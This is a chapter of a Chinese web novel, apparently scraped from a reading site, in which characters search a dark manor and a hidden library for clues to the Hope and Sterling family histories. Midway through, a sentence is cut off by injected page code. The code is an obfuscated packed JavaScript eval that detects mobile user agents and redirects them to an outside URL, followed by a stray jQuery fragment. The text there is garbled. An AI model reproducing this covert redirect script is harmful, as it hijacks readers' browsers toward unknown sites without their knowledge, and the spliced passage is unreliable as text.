无光之地却出现了光，看起来比母亲门前还不讲科学原理。


    “黎晚？”公爵姐姐一直没听到她说话，有些担心。


    “我在，只是在想这是陷阱还是线索。”


    公爵姐姐愣了愣，陷阱么？她以为她们找到了真正的“晨昏线”。


    察觉霍白往前走了一步，她连忙把人拉回来，劝说道：“我们再仔细看看。”


    虽然完全看不到她，但霍白还是看向了声音传来的位置，“好。”


    “这个地方在白天可能不存在。”江星晚也不能完全肯定，她上次温故自己的手绘图纸还是在前往母亲房间前，但短短的一个晚上过得如半辈子般“充实”，她的大脑已经在抗议边缘了。


    “听起来对上了‘在虚无之间’。”霍白盯着那条光线，觉得值得一试，“在这种外置条件下能盲摸到这里，本身就是一种难题了。”


    江星晚能理解霍白的意思，她们都认为游戏不会让人大费周折地寻找死门，但考虑到圣咏的翻译难度和霍普庄园的评级，她还是觉得不能轻易做莽夫，“我不太确定，但是印象里现在离大门还有一定位置。”


    “我当时的问题是游戏中风险、收益与难度的关系，它的答案是难度与选择有关，风险与难度同时存在正相关与负相关，收益与难度一定成正比。”


    江星晚跟着霍白的复述把整句话都思考了一遍，才察觉她说的是她在进入副本前对系统的问询内容。


    “黎晚。我觉得可以一试。”


    “……我借你一点纸，你叠叠丢过去试。”


    霍白接过江星晚的“爱心纸”时，微微一顿，但还是摸黑把这指甲盖大的纸认真叠起，走到光线旁丢下去。


    “扔下去了吗？”公爵姐姐问，她感觉光线里好像多了点什么又好像什么都没变。


    “看起来没有危险，纸在上面好好的。不过我把手伸到了它上面，它也照不到我。”


    霍白话音刚落，光线便瞬间消失。


    公爵姐姐呆了一下，“霍白？”


    没有人回应。


    “黎晚？”


    “我在呢。”


    “我们是不是弄错了……”


    江星晚觉得公爵姐姐听起来都快碎了，“这个地方的确很符合圣咏内容，别太自责。”


    不知道对方有没有听进去，但江星晚的手被她紧紧地抓住了。


    “只要没完全弄反，事情应该不会太糟糕。”江星晚宽慰着，“这里毕竟是新手限定，容错率相对会高一点。”


    “真的吗？”


    “真的。”如果这里是正经游戏，一定是真的。


    “我们还能再见到霍白的，对吧？”


    “一定会的。”江星晚盯着光线消失的方向，那里现在跟其他地方并无不同，都是黑漆漆的，“我们先离开这里。”


    她好像摸到一点头绪了。


    *


    尹辰不太确定自己现在走到了哪里。


    这些神使候选人远不如看起来友善，也难怪江星晚千提万防。他能预料到再和他们待下去，他的秘密就要保不住了，好在李说话大声，给他提供了趁乱离开的时机。


    不过安全后再回想，尹辰觉得自己可能走早了。当时不远处出现了脚步声，说不定是江星晚她们，但再仔细想想那些声音主要是高跟鞋发出的，又觉得里面或许没有江星晚。


    只有那些男人的高跟鞋才这么响。


    尹辰漫无目的地走，直到听见断断续续的钢琴声，他想起自己只在最初的会客厅见过钢琴，立刻循着声音摸过去。


    找到钢琴，他就找到了会客厅，就有了行动坐标的原点。


    只是钢琴声仅短暂出现了一会儿就彻底停止，尹辰连蒙带猜地凭着感觉继续往前走，一直到看见一点亮光——是点燃的蜡烛和林曼。


    尹辰迅速找了个掩体隐蔽起来，偷偷观察。


    林曼拿着钢琴曲谱，弹几个音翻一下，弹一个音翻好几下，最后放弃弹琴，只拿着曲谱翻来翻去。


    尹辰不知道她在翻什么，但如果林曼在这里，那江星晚大概率也在一楼。


    眼见林曼端着蜡烛离开，尹辰偷偷跟上去。她手里拿着那份曲谱，看起来像在找什么东西。如果她在找线索，那江星晚也会找线索，他跟着她一定能找到江星晚。


    林曼行进的方向很明确，很快就到了一个地方，摸了下墙壁后，直接吹灭了蜡烛。


    尹辰愣了一下，因为他听着林曼的脚步声是奔着墙壁去的。


    他没能惊讶很久，因为林曼又重新走回来，尹辰下意识隐蔽好，就见到了更不可思议的一幕：林曼的手指燃起火苗，她用这个重新点燃了蜡烛。


    手中的曲谱又翻了一页，林曼往另一个方向走去。


    尹辰犹豫了一下，记忆里林曼这次去往的方向短时间内不存在岔路，如果行动得够快，应该足够他查探她刚刚去过的地方。


    想着线索的重要性，尹辰走向林曼刚刚停留的位置，先摸到的是正常的墙壁，逐渐前挪的过程中却诡异地摸到了断处，再往前走则完全进入了一个未知的空间。


    同样漆黑的，但不该存在的新空间。


    林曼进来出去所用的时间很短暂，说明她应该只是确认了一下就离开了，她来确认什么？她要找的又是什么？尹辰有些懊恼当时怎么没把打火机抢过来，这时候还能照个明，不至于什么都摸不到也没时间一一摸过来。


    摸……


    尹辰想起四楼尽头的房间。


    他试探着摸了把地面，但这里的地面是能摸到的，不像……这是什么？


    尹辰把碰到的东西抓起来摸了摸，感觉很小，有棱有角，好像还能展开——纸片？


    这里有人乱丢垃圾。


    江星晚带着公爵姐姐又找到了第二处存在光线的“不该存在的地方”。


    这次她决定自己去摸光线。


    失重感过后是有些刺眼的亮，江星晚挡着眼睛适应了一会儿才把胳膊放下来，看清了这间足够宽敞的、明亮的、只有她一个人的图书室。


    “霍白？”


    没人应声。


    江星晚不觉得她是走了，大概率是庄园有类似于复制空间的能力，这项技术也用在了图书室建造，用以保证阅读的私密性。


    大概吧。


    江星晚如同一只重获自由的鸟，快乐地奔向书架，寻找写有霍普庄园历史的那本。


    让她看看……《英式下午茶礼仪》《你应该知道的一千个历史学小知识》《维多利亚时代的服饰演变》《常用西语速成》《Greekmythology》《Romanmythology》


    什么东西？


    为什么翻译着翻译着又没有翻译经费了。


    江星晚深吸一口气，好在桌脚底下还垫着几本长得神似大辞典的工具书，她看遍每一个桌脚，最后成功找到自己需要的那摞。


    是的，一摞，全是她的母语和其他叫的上来与叫不上来的语言互译。


    到底什么样的人才才能无痛通关这种游戏？


    江星晚冷脸拉过梯子，继续寻找写有hopehistory的那本书。


    “总不能不在书架上……这么难找吗？”江星晚有些怀疑天亮前她能找到吗？


    图书室的存续时间现在不能确定，已独自看完一面墙书架还没找到庄园历史的江星晚现在对它的开放机制有了新见解。


    让人单独行动怕是纯上难度来的。


    一无所获的江星晚从梯子上下来，搬起梯子打算去下一面墙，抬眼却瞧见了闭着眼的尹辰。


    “尹辰？”江星晚还以为自己累出幻觉了。


    尹辰起初以为自己是幻听，但睁开眼后看见的好像就是江星晚。


    “一加一等于几？”


    “什么破问题……我是真的。”江星晚继续搬梯子，她这会儿忙着找书，没空跟他做这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845881|188789||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    幼儿园计算。


    “你怎么找到这儿来的？”江星晚爬到梯子上，一边检查三层往上的书籍一边问问他那边情况。


    “跟着林曼来的。我猜她是因为接触光线消失的，就也碰了一下找到的光线。”尹辰仰头看她，“你在找什么？”


    “霍普庄园的历史。但我不确定是用什么语言写的，你也可以找找看。刚刚那面墙和所有书架最下面三行的书我已经都看过一遍，你可以从第四行找起。”


    尹辰打量了一圈，去了江星晚旁边的书架，看着书脊上的神秘符号陷入深思，然后抱着侥幸心理抽出一本，翻开。


    再合上。


    他想不通，“霍普公爵说话能听懂啊。”


    “天真。”江星晚挪了挪梯子，“想为难一个人时，怎么都能为难。”


    江星晚提点他，“看见靠墙的那把椅子了吗，它旁边的桌子腿底下垫着一摞辞典，你拿出来对照一下看看霍普、庄园、斯特林、历史和家族是哪些词，记下来，然后开始翻吧。”


    尹辰依言走过去，抬起桌子把辞典一次性取出，直接坐在地上翻起来。


    “……找到了。”江星晚抱着一本巨厚的书走下来，坐到尹辰身边，“快对照一下这是什么语，把那本辞典拿过来。”


    江星晚觉得自己这次手气还不错，至少没有到翻到最后一堵墙时才找到这本家族记载。接过尹辰递上的辞典，江星晚捡着重点词开始翻。


    它最好写的很有用。


    尹辰并不知道江星晚在暗自对着一本书放狠话，辞典就这么一本，他好像也帮不上忙，只能起身去观察整间图书室，顺便看看其他书有没有也存在线索的。


    他走向那堆最熟悉语言写就的书名区域，抽出了那本《常用西语速成》翻了两页，感觉价值不大。


    尹辰把书放回去，却留意到书本遮挡的墙面上似乎有两道划痕。


    把倒下的书推回去，尹辰又抽了两本书出来，盯着墙面上刻下的纹样总觉得似曾相识。


    “江……黎晚，我们是不是见过这个纹路。”


    “什么纹路？”江星晚头都没抬。


    “草一样，乱麻。”


    “啊？”江星晚真心觉得尹辰的语言表达能力有时很抽象，有一种很久没和人类沟通了的放生自我感。


    拉过一本辞典压上她的进度，江星晚快步跑过去，想看看到底是什么能让他觉得很重要。


    “怎么样？是不是很眼熟？”


    江星晚把手伸向口袋，掏出了那枚戒指。


    戒面上的花纹走势与墙上刻痕高度吻合，甚至大小都很接近。


    江星晚回忆了一下维罗妮卡的肖像画，把戒指戴到右手无名指，用戒面印向刻痕。


    “其实按理说，都是阴刻……”


    咔哒一声，墙面内陷出一个方型，推出一本书。而整间图书室也响起了江星晚已经听了一晚上的BGM。


    “圣咏。”


    尹辰捧着掉出来的这本红色家族史，与先前的绿色家族史放到了一起。


    两本书用的语言不同，他也找到了自己能做的——继续翻译江星晚传给他的霍普家族史。


    江星晚则拿过了新的这本，对着辞典翻阅这本斯特林家族史。


    上半篇是斯特林家族的发家史，记载了一些传说和功勋。下半篇则是历任家主的详细传记，江星晚翻到尾页，在家主一览里确定了最后一行的内容。


    【第四十八任家主：维罗妮卡·斯特林】


    “我就说这庄园该是我的。”江星晚一边感慨一边倒回去翻译传说，捡着重点速读。


    斯特林家族的历史非常悠久，她们自称通灵巫师的后代，因在圣战时代终结了当时作乱的一种怪物，被授予公爵一衔，准予世袭。


    恩特那提与斯特林家族关系匪浅，斯特林家族的徽记形象就来自于恩特那提。传说恩特那提可以连通生与死的入口，达成灵魂的救赎与净化。